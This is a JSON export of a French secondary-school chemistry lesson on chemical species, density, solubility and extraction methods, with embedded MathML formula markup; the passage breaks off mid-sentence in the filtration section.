{"id":1082,"date":"2017-12-05T02:48:19","date_gmt":"2017-12-04T23:48:19","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/?p=1082"},"modified":"2020-05-19T13:05:03","modified_gmt":"2020-05-19T13:05:03","slug":"extraction-et-separation-despeces-chimiques","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/extraction-et-separation-despeces-chimiques\/","title":{"rendered":"TCS:Extraction et s\u00e9paration d&rsquo;esp\u00e8ces chimiques"},"content":{"rendered":"<p dir=\"ltr\"><strong>I. Les esp\u00e8ces chimiques<\/strong><\/p>\n<p dir=\"ltr\"><strong>1. Esp\u00e8ce chimique<\/strong><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u><strong>D\u00e9finition\u00a0<\/strong>:<\/u>\u00a0On appelle esp\u00e8ce chimique un ensemble constitu\u00e9 d\u2019entit\u00e9s identiques.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">Toute esp\u00e8ce chimique poss\u00e8de un\u00a0<strong>nom<\/strong>.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">Elle peut \u00eatre repr\u00e9sent\u00e9e par sa\u00a0<strong>formule chimique<\/strong>.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">Elle poss\u00e8de des\u00a0<strong>grandeurs caract\u00e9ristiques<\/strong>\u00a0qui permettent de la reconna\u00eetre. Citons par exemple son aspect, sa couleur, sa masse volumique, sa densit\u00e9, sa solubilit\u00e9 dans l\u2019eau (ou dans un solvant), sa temp\u00e9rature de fusion, sa temp\u00e9rature d\u2019\u00e9bullition etc\u2026<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>Remarque\u00a0:<\/u>\u00a0Les esp\u00e8ces chimiques qui existent dans la nature sont dites\u00a0<strong>naturelles<\/strong>. Certaines sont fabriqu\u00e9es par l\u2019homme\u00a0; elles sont dites\u00a0<strong>synth\u00e9tiques<\/strong>. On remarquera qu\u2019une esp\u00e8ce chimique synth\u00e9tique peut \u00eatre identique \u00e0 une esp\u00e8ce chimique naturelle.<\/p>\n<p dir=\"ltr\">2. Corps purs et m\u00e9langes<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>D\u00e9finition\u00a0:<\/u><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">On appelle corps pur une substance constitu\u00e9e d\u2019une seule esp\u00e8ce chimique.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>D\u00e9finition\u00a0:<\/u><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">On appelle m\u00e9lange une substance constitu\u00e9e de plusieurs esp\u00e8ces chimiques.<\/p>\n<p dir=\"ltr\"><strong>II Caract\u00e9ristiques physiques d\u2019une esp\u00e8ce chimique<\/strong><\/p>\n<p dir=\"ltr\">1. Masse volumique<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>D\u00e9finition\u00a0:<\/u>\u00a0On appelle masse volumique d\u2019une esp\u00e8ce chimique le quotient:<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mtable frame=&quot;solid&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mrow&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mo&gt;=&lt;\/mo&gt;&lt;mfrac&gt;&lt;mi&gt;m&lt;\/mi&gt;&lt;mi&gt;V&lt;\/mi&gt;&lt;\/mfrac&gt;&lt;\/mrow&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;\/mtable&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aaatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaamaaL4babaGaeqyWdiNaeyypa0ZaaSaaaeaacaWGTbaabaGaamOvaaaaaaaaaa@3D1B@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">?=??<\/span><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">avec<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; 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style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo&gt;{&lt;\/mo&gt;&lt;mtable columnalign=&quot;left&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mtext&gt;masse&amp;#xA0;d'un&amp;#xA0;&amp;#xE9;chantillon&amp;#xA0;l'esp&amp;#xE8;ce&amp;#xA0;chimique&amp;#xA0;(kg&amp;#xA0;ou&amp;#xA0;g)&lt;\/mtext&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;msup&gt;&lt;mtext&gt;V:&amp;#xA0;Volume&amp;#xA0;de&amp;#xA0;l'&amp;#xE9;chantillon&amp;#xA0;(m&lt;\/mtext&gt;&lt;mtext&gt;3&lt;\/mtext&gt;&lt;\/msup&gt;&lt;mtext&gt;&amp;#xA0;ou&amp;#xA0;L)&lt;\/mtext&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mtext&gt;:&amp;#xA0;masse&amp;#xA0;volumique&amp;#xA0;de&amp;#xA0;l'esp&amp;#xE8;ce&amp;#xA0;chimique&amp;#xA0;(kg&lt;\/mtext&gt;&lt;msup&gt;&lt;mtext&gt;.m&lt;\/mtext&gt;&lt;mrow&gt;&lt;mtext&gt;-3&lt;\/mtext&gt;&lt;\/mrow&gt;&lt;\/msup&gt;&lt;mtext&gt;ou&amp;#xA0;g&lt;\/mtext&gt;&lt;msup&gt;&lt;mtext&gt;.L&lt;\/mtext&gt;&lt;mrow&gt;&lt;mtext&gt;-1&lt;\/mtext&gt;&lt;\/mrow&gt;&lt;\/msup&gt;&lt;mtext&gt;)&lt;\/mtext&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;\/mtable&gt;&lt;\/mrow&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aaatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaamaaceaaeaqabeaacaqGTbGaaeyyaiaabohacaqGZbGaaeyzaiaabccacaqGKbGaae4jaiaabwhacaqGUbGaaeiiaiaabMoacaqGJbGaaeiAaiaabggacaqGUbGaaeiDaiaabMgacaqGSbGaaeiBaiaab+gacaqGUbGaaeiiaiaabYgacaqGNaGaaeyzaiaabohacaqGWbGaaei6aiaabogacaqGLbGaaeiiaiaabogacaqGObGaaeyAaiaab2gacaqGPbGaaeyCaiaabwhacaqGLbGaaeiiaiaabIcacaqGRbGaae4zaiaabccacaqGVbGaaeyDaiaabccacaqGNbGaaeykaaqaaiaabAfacaqG6aGaaeiiaiaabAfacaqGVbGaaeiBaiaabwhacaqGTbGaaeyzaiaabccacaqGKbGaaeyzaiaabccacaqGSbGaae4jaiaabMoacaqGJbGaaeiAaiaabggacaqGUbGaaeiDaiaabMgacaqGSbGaaeiBaiaab+gacaqGUbGaaeiiaiaabIcacaqGTbWaaWbaaSqabeaacaqGZaaaaOGaaeiiaiaab+gacaqG1bGaaeiiaiaabYeacaqGPaaabaGaeqyWdiNaaeOoaiaabccacaqGTbGaaeyyaiaabohacaqGZbGaaeyzaiaabccacaqG2bGaae4BaiaabYgacaqG1bGaaeyBaiaabMgacaqGXbGaaeyDaiaabwgacaqGGaGaaeizaiaabwgacaqGGaGaaeiBaiaabEcacaqGLbGaae4CaiaabchacaqGOdGaae4yaiaabwgacaqGGaGaae4yaiaabIgacaqGPbGaaeyBaiaabMgacaqGXbGaaeyDaiaabwgacaqGGaGaaeikaiaabUgacaqGNbGaaeOlaiaab2gadaahaaWcbeqaaiaab2cacaqGZaaaaOGaae4BaiaabwhacaqGGaGaae4zaiaab6cacaqGmbWaaWbaaSqabeaacaqGTaGaaeymaaaakiaabMcaaaGaay5Eaaaaaa@B607@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">V:\u00a0Volume\u00a0de\u00a0l&rsquo;\u00e9chantillon\u00a0(m3\u00a0ou\u00a0L)<\/span><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo&gt;{&lt;\/mo&gt;&lt;mtable columnalign=&quot;left&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mtext&gt;masse&amp;#xA0;d'un&amp;#xA0;&amp;#xE9;chantillon&amp;#xA0;l'esp&amp;#xE8;ce&amp;#xA0;chimique&amp;#xA0;(kg&amp;#xA0;ou&amp;#xA0;g)&lt;\/mtext&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;msup&gt;&lt;mtext&gt;V:&amp;#xA0;Volume&amp;#xA0;de&amp;#xA0;l'&amp;#xE9;chantillon&amp;#xA0;(m&lt;\/mtext&gt;&lt;mtext&gt;3&lt;\/mtext&gt;&lt;\/msup&gt;&lt;mtext&gt;&amp;#xA0;ou&amp;#xA0;L)&lt;\/mtext&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mtext&gt;:&amp;#xA0;masse&amp;#xA0;volumique&amp;#xA0;de&amp;#xA0;l'esp&amp;#xE8;ce&amp;#xA0;chimique&amp;#xA0;(kg&lt;\/mtext&gt;&lt;msup&gt;&lt;mtext&gt;.m&lt;\/mtext&gt;&lt;mrow&gt;&lt;mtext&gt;-3&lt;\/mtext&gt;&lt;\/mrow&gt;&lt;\/msup&gt;&lt;mtext&gt;ou&amp;#xA0;g&lt;\/mtext&gt;&lt;msup&gt;&lt;mtext&gt;.L&lt;\/mtext&gt;&lt;mrow&gt;&lt;mtext&gt;-1&lt;\/mtext&gt;&lt;\/mrow&gt;&lt;\/msup&gt;&lt;mtext&gt;)&lt;\/mtext&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;\/mtable&gt;&lt;\/mrow&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aaatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaamaaceaaeaqabeaacaqGTbGaaeyyaiaabohacaqGZbGaaeyzaiaabccacaqGKbGaae4jaiaabwhacaqGUbGaaeiiaiaabMoacaqGJbGaaeiAaiaabggacaqGUbGaaeiDaiaabMgacaqGSbGaaeiBaiaab+gacaqGUbGaaeiiaiaabYgacaqGNaGaaeyzaiaabohacaqGWbGaaei6aiaabogacaqGLbGaaeiiaiaabogacaqGObGaaeyAaiaab2gacaqGPbGaaeyCaiaabwhacaqGLbGaaeiiaiaabIcacaqGRbGaae4zaiaabccacaqGVbGaaeyDaiaabccacaqGNbGaaeykaaqaaiaabAfacaqG6aGaaeiiaiaabAfacaqGVbGaaeiBaiaabwhacaqGTbGaaeyzaiaabccacaqGKbGaaeyzaiaabccacaqGSbGaae4jaiaabMoacaqGJbGaaeiAaiaabggacaqGUbGaaeiDaiaabMgacaqGSbGaaeiBaiaab+gacaqGUbGaaeiiaiaabIcacaqGTbWaaWbaaSqabeaacaqGZaaaaOGaaeiiaiaab+gacaqG1bGaaeiiaiaabYeacaqGPaaabaGaeqyWdiNaaeOoaiaabccacaqGTbGaaeyyaiaabohacaqGZbGaaeyzaiaabccacaqG2bGaae4BaiaabYgacaqG1bGaaeyBaiaabMgacaqGXbGaaeyDaiaabwgacaqGGaGaaeizaiaabwgacaqGGaGaaeiBaiaabEcacaqGLbGaae4CaiaabchacaqGOdGaae4yaiaabwgacaqGGaGaae4yaiaabIgacaqGPbGaaeyBaiaabMgacaqGXbGaaeyDaiaabwgacaqGGaGaaeikaiaabUgacaqGNbGaaeOlaiaab2gadaahaaWcbeqaaiaab2cacaqGZaaaaOGaae4BaiaabwhacaqGGaGaae4zaiaab6cacaqGmbWaaWbaaSqabeaacaqGTaGaaeymaaaakiaabMcaaaGaay5Eaaaaaa@B607@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">?:\u00a0masse\u00a0volumique\u00a0de\u00a0l&rsquo;esp\u00e8ce\u00a0chimique\u00a0(kg.m-3ou\u00a0g.L-1)<\/span><\/p>\n<p dir=\"ltr\">2. Densit\u00e9<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>D\u00e9finitions\u00a0:<\/u><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0La densit\u00e9 d\u2019une esp\u00e8ce chimique liquide est le rapport entre sa masse volumique et celle de l\u2019eau\u00a0:<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mtable frame=&quot;solid&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mrow&gt;&lt;mi&gt;d&lt;\/mi&gt;&lt;mo&gt;=&lt;\/mo&gt;&lt;mfrac&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mrow&gt;&lt;mi&gt;e&lt;\/mi&gt;&lt;mi&gt;a&lt;\/mi&gt;&lt;mi&gt;u&lt;\/mi&gt;&lt;\/mrow&gt;&lt;\/msub&gt;&lt;\/mrow&gt;&lt;\/mfrac&gt;&lt;\/mrow&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;\/mtable&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aqatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaamaaL4babaGaamizaiabg2da9maalaaabaGaeqyWdihabaGaeqyWdi3aaSbaaSqaaiaadwgacaWGHbGaamyDaaqabaaaaaaaaaa@40EE@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">?=?\/????<\/span><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0La densit\u00e9 d\u2019une esp\u00e8ce chimique est le rapport entre sa masse volumique et celle de l\u2019air (l\u2019air et le gaz \u00e9tant dans les m\u00eames conditions de temp\u00e9rature et de pression).<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mtable frame=&quot;solid&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mrow&gt;&lt;mi&gt;d&lt;\/mi&gt;&lt;mo&gt;=&lt;\/mo&gt;&lt;mfrac&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mrow&gt;&lt;mi&gt;a&lt;\/mi&gt;&lt;mi&gt;i&lt;\/mi&gt;&lt;mi&gt;r&lt;\/mi&gt;&lt;\/mrow&gt;&lt;\/msub&gt;&lt;\/mrow&gt;&lt;\/mfrac&gt;&lt;\/mrow&gt;&lt;\/mtd&gt;&lt;\/mtr&gt;&lt;\/mtable&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aqatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaamaaL4babaGaamizaiabg2da9maalaaabaGaeqyWdihabaGaeqyWdi3aaSbaaSqaaiaadggacaWGPbGaamOCaaqabaaaaaaaaaa@40EF@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">?=?\/????<\/span><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>Remarques\u00a0:<\/u><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0<span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aqatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaaiabeg8aYbaa@39F2@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">?<\/span>,\u00a0<span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mrow&gt;&lt;mi&gt;e&lt;\/mi&gt;&lt;mi&gt;a&lt;\/mi&gt;&lt;mi&gt;u&lt;\/mi&gt;&lt;\/mrow&gt;&lt;\/msub&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aqatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaaiabeg8aYnaaBaaaleaacaWGLbGaamyyaiaadwhaaeqaaaaa@3CE8@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">????<\/span>\u00a0et\u00a0<span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;&amp;#x3C1;&lt;\/mi&gt;&lt;mrow&gt;&lt;mi&gt;a&lt;\/mi&gt;&lt;mi&gt;i&lt;\/mi&gt;&lt;mi&gt;r&lt;\/mi&gt;&lt;\/mrow&gt;&lt;\/msub&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aqatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbwvMCKfMBHbqedmvETj2BSbqefm0B1jxALjhiov2DaerbuLwBLnhiov2DGi1BTfMBaebbnrfifHhDYfgasaacH8WjY=vipgYlh9vqqj=hEeeu0xXdbba9frFj0=OqFfea0dXdd9vqaq=JfrVkFHe9pgea0dXdar=Jb9hs0dXdbPYxe9vr0=vr0=vqpWqaaeaabaGaaiaacaqabeaadaabauaaaOqaaiabeg8aYnaaBaaaleaacaWGHbGaamyAaiaadkhaaeqaaaaa@3CE9@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">????<\/span>\u00a0sont donn\u00e9s en kg.m<sup>-3<\/sup>\u00a0dans le syst\u00e8me international.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0La densit\u00e9 est une grandeur sans unit\u00e9.<\/p>\n<p dir=\"ltr\">3. Solubilit\u00e9<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>D\u00e9finition\u00a0:<\/u>\u00a0La solubilit\u00e9 d\u2019une esp\u00e8ce chimique dans un solvant est la masse maximale de cette esp\u00e8ce que l\u2019on peut dissoudre par litre de solution (unit\u00e9\u00a0:\u00a0<span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;k&lt;\/mi&gt;&lt;mi&gt;g&lt;\/mi&gt;&lt;mo&gt;.&lt;\/mo&gt;&lt;msup&gt;&lt;mi&gt;m&lt;\/mi&gt;&lt;mrow&gt;&lt;mo&gt;&amp;#x2212;&lt;\/mo&gt;&lt;mn&gt;3&lt;\/mn&gt;&lt;\/mrow&gt;&lt;\/msup&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aqatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbbjxAHXgarmWu51MyVXgaruWqVvNCPvMCG4uz3bqefqvATv2CG4uz3bIuV1wyUbqee0evGueE0jxyaibaieYdNi=xH8yiVC0xbbL8F4rqqrFfpeea0xe9Lq=Jc9vqaqpepm0xbba9pwe9Q8fs0=yqaqpepae9pg0FirpepeKkFr0xfr=xfr=xb9adbaqaaeaacaGaaiaabaqaamaaeaqbaaGcbaGaam4AaiaadEgacaGGUaGaamyBamaaCaaaleqabaGaeyOeI0IaaG4maaaaaaa@3CB0@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">??.?\u22123<\/span>\u00a0ou\u00a0<span data-mathml=\"&lt;math xmlns=&quot;http:\/\/www.w3.org\/1998\/Math\/MathML&quot; style=&quot;background-color:#&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;g&lt;\/mi&gt;&lt;mo&gt;.&lt;\/mo&gt;&lt;msup&gt;&lt;mi&gt;L&lt;\/mi&gt;&lt;mrow&gt;&lt;mo&gt;&amp;#x2212;&lt;\/mo&gt;&lt;mn&gt;1&lt;\/mn&gt;&lt;\/mrow&gt;&lt;\/msup&gt;&lt;\/mrow&gt;&lt;annotation encoding=&quot;MathType-MTEF&quot;&gt; MathType@MTEF@5@5@+=feaafiart1ev1aqatCvAUfeBSjuyZL2yd9gzLbvyNv2CaerbbjxAHXgarmWu51MyVXgaruWqVvNCPvMCG4uz3bqefqvATv2CG4uz3bIuV1wyUbqee0evGueE0jxyaibaieYdNi=xH8yiVC0xbbL8F4rqqrFfpeea0xe9Lq=Jc9vqaqpepm0xbba9pwe9Q8fs0=yqaqpepae9pg0FirpepeKkFr0xfr=xfr=xb9adbaqaaeaacaGaaiaabaqaamaaeaqbaaGcbaGaam4zaiaac6cacaWGmbWaaWbaaSqabeaacqGHsislcaaIXaaaaaaa@3B9D@&lt;\/annotation&gt;&lt;\/semantics&gt;&lt;\/math&gt;\">?.?\u22121<\/span>\u00a0).<\/p>\n<p dir=\"ltr\"><strong>III. Extraction et s\u00e9paration d&rsquo;esp\u00e8ces chimiques<\/strong><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">De nombreux m\u00e9dicaments contiennent des principes actifs d\u2019origine naturelle que le chimiste peut extraire par diff\u00e9rents moyens.<\/p>\n<p dir=\"ltr\"><strong>1. Extraction par solvant<\/strong><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><img decoding=\"async\" class=\"size-medium wp-image-1083 alignright\" src=\"http:\/\/www.energy-sciences.org\/energy\/wp-content\/uploads\/2017\/12\/image0021-136x300.jpg\" alt=\"\" width=\"136\" height=\"300\" \/>L&rsquo;extraction par solvant consiste \u00e0 dissoudre le compos\u00e9 recherch\u00e9 dans un solvant non miscible avec l&rsquo;eau et \u00e0 s\u00e9parer la phase organique contenant le compos\u00e9 \u00e0 extraire de la phase aqueuse.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>Remarque:<\/u>\u00a0Le choix du solvant ob\u00e9it \u00e0 trois crit\u00e8res et n\u00e9cessite la connaissance d&rsquo;un param\u00e8tre physique caract\u00e9ristique de ce solvant.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0<u>Etat\u00a0<\/u>physique<u>\u00a0du solvant<\/u>: le solvant doit \u00eatre liquide \u00e0 la temp\u00e9rature et \u00e0 la pression o\u00f9 l&rsquo;on r\u00e9alise l&rsquo;extraction.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0<u>Miscibilit\u00e9 du solvant:<\/u>\u00a0le solvant doit \u00eatre non miscible \u00e0 la phase qui contient initialement le compos\u00e9 \u00e0 extraire.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0<u>Solubilit\u00e9:<\/u>\u00a0le compos\u00e9 \u00e0 extraire doit \u00eatre tr\u00e8s soluble dans le solvant. C&rsquo;est \u00e0 dire, beaucoup plus soluble dans le solvant que dans le milieu o\u00f9 il se trouve initialement (milieu aqueux en g\u00e9n\u00e9ral).<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\"><u>Remarques:<\/u><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0Si l&rsquo;esp\u00e8ce \u00e0 extraire est pr\u00e9sente dans un solide, l&rsquo;extraction est r\u00e9alis\u00e9e par mac\u00e9ration, infusion ou d\u00e9coction. Il s&rsquo;agit alors d&rsquo;une extraction\u00a0<strong>solide-liquide<\/strong>.<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">\u25aa\u00a0\u00a0\u00a0Si l&rsquo;esp\u00e8ce \u00e0 extraire est pr\u00e9sente dans une solution aqueuse, l&rsquo;extraction est r\u00e9alis\u00e9e \u00e0 l&rsquo;aide d&rsquo;un ampoule \u00e0 d\u00e9canter. Il s&rsquo;agit alors d&rsquo;une extraction\u00a0<strong>liquide-liquide<\/strong>.<\/p>\n<p dir=\"ltr\" style=\"text-align: center;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-1084 aligncenter\" src=\"http:\/\/www.energy-sciences.org\/energy\/wp-content\/uploads\/2017\/12\/image0031-300x121.gif\" alt=\"\" width=\"459\" height=\"185\" \/><\/p>\n<p dir=\"ltr\">2. Expression<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">L&rsquo;expression permet d\u2019obtenir les produits par pressage.<\/p>\n<p dir=\"ltr\">3. Distillation<\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">La distillation permet de s\u00e9parer les constituants d&rsquo;un m\u00e9lange homog\u00e8ne de liquides dont les temp\u00e9ratures d&rsquo;\u00e9bullition sont diff\u00e9rentes.<\/p>\n<p dir=\"ltr\">4. Filtration<img decoding=\"async\" class=\"size-full wp-image-1085 alignright\" src=\"http:\/\/www.energy-sciences.org\/energy\/wp-content\/uploads\/2017\/12\/image0041.jpg\" alt=\"\" width=\"163\" height=\"217\" \/><\/p>\n<p dir=\"ltr\" style=\"font-weight: 400;\">La filtration permet de s\u00e9parer les constituant d&rsquo;un 